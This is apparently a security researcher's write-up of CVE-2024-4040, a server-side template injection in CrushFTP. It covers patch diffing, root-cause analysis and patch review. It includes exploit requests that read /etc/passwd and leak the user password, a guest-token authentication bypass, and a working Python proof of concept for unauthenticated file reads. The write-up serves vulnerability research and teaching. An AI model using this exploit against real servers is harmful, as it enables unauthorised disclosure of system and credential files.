Skip to content

CVE-2024-4040: CrushFTP Template Injection

TL;DR

  • CrushFTP versions prior to 11.1.0 allow template tags to be injected into API parameters.
  • The server reflects these values into an XML response which is later processed by the template expansion engine.
  • <INCLUDE> tags can trigger a server-side file read primitive.
  • This results in unauthenticated arbitrary file disclosure on the host system.

Summary

CVE-2024-4040 is a reflected server-side template injection in CrushFTP that allows attackers to read arbitrary files by injecting expansion tags that are evaluated during API response rendering.

  • CVE: CVE-2024-4040
  • Product: CrushFTP
  • Vulnerability: Reflected Server-Side Template Injection resulting in Arbitrary File Read
  • Affected Versions: < 11.1.0 and < 10.7.1
  • Fixed In: 11.1.0 and 10.7.1
  • CVSS Severity: 10.0 (Critical)
  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • Required Privilege: None
  • NVD Published: April 22, 2024

The vulnerability allows attackers to read arbitrary files from the host operating system by injecting template expansion tags into request parameters.

These tags are reflected into the server's XML response. During the response rendering phase the server processes the response through its internal variable expansion engine, causing attacker controlled template tags to execute.

Because the expansion occurs after request processing, the injected tags bypass the normal virtual file system access controls.

Advisory

Original Vendor Advisory:

CrushFTP v11 versions below 11.1 have a vulnerability where users can escape their VFS and download system files. This has been patched in v11.1.0. Customers using a DMZ in front of their main CrushFTP instance are partially protected with its protocol translation system it utilizes. A DMZ however does not fully protect you and you must update immediately.

Updated NVD Advisory:

A server side template injection vulnerability in CrushFTP in all versions before 10.7.1 and 11.1.0 on all platforms allows unauthenticated remote attackers to read files from the filesystem outside of the VFS Sandbox, bypass authentication to gain administrative access, and perform remote code execution on the server.

Introduction

What's this? A 2024 CVE analysis in 2026? Yep, this was a "blind" exercise. I attempted to patch diff and analyse the root cause of the vulnerability without reviewing any writeups, PoC's etc. The only information I had to go on was the original vendor advisory! After completing the writeup, I reviewed some amazing research which I recommend you check out too 🙂

Software Acquisition

Relevant versions from the CrushFTP 11 branch were not available during analysis. Instead the following versions were obtained:

  • CrushFTP 10.6.1 (vulnerable)
  • CrushFTP 10.7.1 (patched)

These builds were sufficient to identify the root cause and vendor patch behaviour.

Patch Diffing

Both JARs were decompiled and compared using a diffing tool, e.g. BeyondCompare.

CrushFTP CVE-2024-4040 patch diff using BeyondCompare

Initial Review

The advisory talks about "escaping" the VFS to "download system files", which might make us think of a directory traversal vulnerability in the download functionality.

Common.java

Reviewing crushftp/handlers/Common.java in the patched version, we find a new function that appears to be a reactive attempt at a global input filter: sanitizeRequest(Properties request).

public static void sanitizeRequest(Properties request) {
    Enumeration<Object> keys = request.keys();
    while (keys.hasMoreElements()) {
        String key = keys.nextElement().toString();
        String val = request.getProperty(key);
        try {
            val = Common.url_decode(val);
        }
        catch (Exception e) {
            Log.log("SERVER", 0, e);
        }
        // [1] VALIDATION SINK: Compares the value against its expanded version
        // If change_vars_to_values_static modifies the string, the comparison fails
        if (val.equals(ServerStatus.change_vars_to_values_static(val, null, null, null, true))) continue;

        // [2] If a tag was detected, the parameter is cleared to prevent exploitation
        request.put(key, "");
    }
}

It URL decodes request parameter values, then validates the value with a change_vars_to_values_static function. Strangely, the sanitizeRequest function doesn't appear to be invoked anywhere:

┌─[cryptocat@ubuntu]─[~/Desktop/diff/patched]
└──╼ $grep -Ri sanitizeRequest
crushftp/handlers/Common.java:    public static void sanitizeRequest(Properties request) {

ServerStatus.java

The logic for Common.sanitizeRequest relies on ServerStatus.change_vars_to_values_static. Analyzing this file reveals a massive diff.

CrushFTP template engine patch diff showing large changes in ServerStatus

The vendor updated the function signature to include a boolean validate parameter:

+ public static String change_vars_to_values_static(String in_str, Properties user, Properties user_info, SessionCrush the_session, boolean validate)

Throughout the function, the patch introduces ternary operators that check this validate flag. If validate is true, and a tag is matched, the string is set to empty, effectively tripping the sanitiser we saw in Common.java. If validate is false (the default state during normal operation), the variable is expanded as usual.

- in_str = crushftp.handlers.Common.replace_str(in_str, tag, value);
+ in_str = validate ? "" : crushftp.handlers.Common.replace_str(in_str, tag, value);

The most alarming discovery in the vulnerable version is the handling of <INCLUDE> tags. These tags trigger a call to do_include_file_command, which performs a raw file read from the host OS:

if (in_str.indexOf("<INCLUDE>") >= 0) {
    in_str = thisObj.do_include_file_command(in_str);
}

In the patched version, two protections were added:

  1. The validate check mentioned above
  2. A global setting check: ServerStatus.BG("allow_includes")

If allow_includes is false (the new default), the expansion engine will no longer process these tags, regardless of whether it's in "validation" mode or not.

Examining the do_include_file_command sink reveals a direct file read primitive inside the template expansion engine. The server takes the string between the tags and passes it directly to a RandomAccessFile object:

public String do_include_file_command(String in_str) {
    try {
        // [1] Extraction: No sanitisation or path traversal checks on the filename
        String file_name = in_str.substring(in_str.indexOf("<INCLUDE>") + 9, in_str.indexOf("</INCLUDE>"));

        // [2] SINK: The file is opened with server-level privileges
        RandomAccessFile includer = new RandomAccessFile(new File_S(file_name), "r");

        // [3] Exfiltration: The content is read and placed back into the template string
        byte[] temp_array = new byte[(int)includer.length()];
        includer.read(temp_array);
        includer.close();
        return Common.replace_str(in_str, "<INCLUDE>" + file_name + "</INCLUDE>", new String(temp_array));
    }
    catch (Exception exception) {
        return in_str;
    }
}

ServerSessionAJAX.java

While initial analysis suggested the trigger might be in the VFS, live debugging reveals the real sink is in the writeResponse method of the API handlers.

The server reflects the user-supplied paths parameter directly into an XML response string. Before transmitting this response to the client, the server passes the entire XML body through the variable expansion engine. We can see this transition in the patch diff for ServerSessionAJAX and ServerSessionHTTP, e.g.

public boolean writeResponse(String response, boolean log, int code, boolean convertVars, boolean json, boolean acceptsGZIP, boolean log_header) throws Exception {
-if (convertVars) {
-    response = ServerStatus.thisObj.change_vars_to_values(response, this.thisSessionHTTP.thisSession);
+if (convertVars && this.thisSessionHTTP.thisSession != null) {
+    response = ServerStatus.change_user_safe_vars_to_values_static(response, this.thisSessionHTTP.thisSession.user, this.thisSessionHTTP.thisSession.user_info, this.thisSessionHTTP.thisSession);
}

The "safe" version of the function operates much like the first, but safer 😀 It's essentially a small whitelist that manually checks for specific strings, e.g. {user_name} and {user_password}, while skipping tags such as <INCLUDE> and <LIST>.

Now we have an idea how the bug was fixed, lets return to exploitation. While many commands require administrative privileges, the exists command (in ServerSessionAJAX) is accessible to standard sessions and takes a user-supplied paths parameter:

if (command.equalsIgnoreCase("exists")) {
    // [1] SOURCE: The 'paths' parameter is pulled from the request and decoded
    the_dirs = Common.url_decode(request.getProperty("paths")).split(";");
    x = 0;
    while (x < the_dirs.length) {
        the_dir = the_dirs[x];
        // ... internal path construction ...

        // [2] HAND-OFF: The constructed path (containing our tag) is passed to the VFS
        // This is the point where the AJAX handler hands control to the vulnerable VFS logic
        item = this.thisSessionHTTP.thisSession.uVFS.get_item(root + the_dir);

        // [3] EXFILTRATION: The result of the VFS resolution is appended to the response
        item_str.append(the_dirs[x]).append(":").append(String.valueOf(item != null)).append("\r\n");
        ++x;
    }
    // ... response writing ...
}

The exists command is intended to verify if a file exists within the user's VFS. However, because it passes the raw string to uVFS.get_item, which returns the literal tag if not found, the tag is reflected back into the XML response. The vulnerability is triggered during the subsequent writeResponse call, which evaluates the entire XML body.

In a secure implementation, API responses should treat user-supplied data as literals. By invoking change_vars_to_values on the reflected paths data during response rendering, CrushFTP allows the data to act as code. Because this expansion occurs during the final response rendering, it bypasses VFS permission checks; the server evaluates the tag to fetch file contents after the VFS has already processed the path as a literal string.

Exploit

If we send a POST request to /WebInterface/function/ with the following payload:

command=exists&paths={working_dir}&c2f=89wy

The response doesn't print {working_dir} as a literal value, because the server has replaced it with the real path:

<?xml version="1.0" encoding="UTF-8"?>
<commandResult><response>/home/cryptocat/Desktop/diff/CrushFTP10/:false</response></commandResult>

Similarly, if we send paths={heap_dump}:

<?xml version="1.0" encoding="UTF-8"?>
<commandResult><response>Memory dumped to: ./crushftp_mem_dumpm8G.hprof:false</response></commandResult>

We can even dump our password! paths={user_password}

<?xml version="1.0" encoding="UTF-8"?>
<commandResult><response>admin:false</response></commandResult>

Now let's test the <INCLUDE> tags:

command=exists&paths=<INCLUDE>/etc/passwd</INCLUDE>&c2f=89wy

We can trace execution via the debugger and see the do_include_file_command function will replace <INCLUDE>/etc/passwd</INCLUDE> with the contents of /etc/passwd

CrushFTP CVE-2024-4040 debugger showing INCLUDE tag reading /etc/passwd

Ultimately, the contents of the file will return in the HTTP response.

CrushFTP CVE-2024-4040 arbitrary file read returning /etc/passwd in HTTP response

Patch Analysis

The vendor's fix relies on a configuration "kill-switch" rather than active input sanitisation.

  • Common.java : The added sanitizeRequest function is designed to clear parameters containing template tags. However, as proven by grep, this function is never called in the request lifecycle.
  • ServerStatus.java: The actual fix is the addition of the allow_includes check. In the patched version, the <INCLUDE> tag only triggers do_include_file_command if this boolean is true. Since it defaults to false, the file-read sink is effectively disabled.
  • The Result: The server remains "vulnerable" to template injection (the expansion engine still runs on user input), but the most dangerous tag (<INCLUDE>) is now locked behind a configuration setting.

Pre-Conditions

Authentication

At first glance it appears that the vulnerability requires authentication. That's because the command must contain a c2f token which is taken from the auth cookie (last 4 digits), e.g. the following request works:

Cookie: currentAuth=89wy; CrushAuth=1772210563197_AkcNfKJaoDQz2kyGiSTDZPmgCR89wy

command=exists&paths=<INCLUDE>/etc/passwd</INCLUDE>&c2f=89wy

However, if we remove (or modify/forge) the c2f token we will see:

<commandResult><response>FAILURE:Access Denied. (c2f)</response></commandResult>

Luckily, if we log out and return to the index page we'll discover that users receive a guest token:

GET /WebInterface/login.html HTTP/1.1

Cookie: currentAuth=iMJv; CrushAuth=1772443630344_gk2oyvER2MVJlCeQu9olOKoiZpiMJv

Testing the token against the previous endpoint confirms that the file read can be achieved without authentication.

DMZ

The vendor claims:

Customers using a DMZ in front of their main CrushFTP instance are partially protected with its protocol translation system it utilizes

An easy way to test this would be to copy the CrushFTP10 (vuln) folder and launch a second instance on DMZ:

java -jar CrushFTP.jar -dmz 9000

Now, we go to the Main server (the one running on port 8080):

  1. Admin > Preferences > IP / Servers.
  2. Add a new Port:
    • Protocol: DMZ://
    • IP: 127.0.0.1
    • Port: 9000 (Matches the -dmz port above)
    • Name: dmz_test
  3. Click OK and Save.
  4. The Main server will now connect to the DMZ instance and "upload" the WebInterface and ports to it.

The problem with this approach? An enterprise license is required to enable DMZ 🥲

CrushFTP DMZ feature requiring enterprise license in admin panel

In that case, we'll need to verify the claim with static code analysis.

  1. A trace of the exists command through ServerSessionAJAX.java reveals that unlike other sensitive commands, exists contains no checks for com.crushftp.client.Common.dmz_mode.
  2. The DMZ serves as a transparent proxy. It forwards the malicious paths parameter to the Main server without sanitisation.
  3. The vulnerability is triggered during the API response rendering phase on the Main server. By the time the code reaches the writeResponse sink, the fact that the request originated from a DMZ is ignored. In fact, dmz_mode in the expansion engine actually enables more variable expansions, not fewer.

PoC

import requests
import re
import argparse

def exploit(host, port, file_path):
    target = f"http://{host}:{port}"
    session = requests.Session()

    # 1. Get the cookies by visiting the root
    session.get(target)

    # 2. Extract c2f (the last 4 chars of currentAuth or CrushAuth)
    c2f = session.cookies.get("currentAuth")
    if not c2f:
        # Backup: grab from CrushAuth if currentAuth isn't a separate cookie
        crush_auth = session.cookies.get("CrushAuth")
        c2f = crush_auth[-4:] if crush_auth else None

    if not c2f:
        print("[-] Could not find auth tokens.")
        return

    # 3. Send the exploit
    data = {
        "command": "exists",
        "paths": f"<INCLUDE>{file_path}</INCLUDE>",
        "c2f": c2f
    }

    headers = {"X-Requested-With": "XMLHttpRequest"}

    response = session.post(f"{target}/WebInterface/function/", data=data, headers=headers)

    # 4. Extract the leaked content
    match = re.search(r"<response>(.*?):(?:true|false)", response.text, re.DOTALL)
    if match:
        print(match.group(1).strip())
    else:
        print(f"[-] Failed to extract data. Response:\n{response.text}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("--host", default="127.0.0.1")
    parser.add_argument("--port", default="8080")
    parser.add_argument("--file", default="/etc/passwd")
    args = parser.parse_args()
    exploit(args.host, args.port, args.file)
python exploit.py --file /etc/hostname

ubuntu

Conclusion

The investigation of CVE-2024-4040 reveals a Reflected Server-Side Template Injection (SSTI). The vulnerability exists because the server fails to distinguish between trusted template code and untrusted reflected data in its API responses.

The patch effectively mitigates the reflected attack vector by replacing the global expansion engine with change_user_safe_vars_to_values_static during response rendering. This new function employs a strict whitelist of safe session variables and lacks the logic to process dangerous tags like <INCLUDE>.

While the patch also introduces a global engine-level kill-switch (allow_includes) and an input sanitiser (Common.java), this analysis proves the sanitiser is "dead code" for the exists command flow. Security is primarily achieved through the implementation of the safe rendering function, which prevents reflected data from being interpreted as instructions. Furthermore, due to the main server's redundant URL decoding and the additive nature of its DMZ logic, protocol translation through a DMZ instance offers no effective protection against this exploit.

References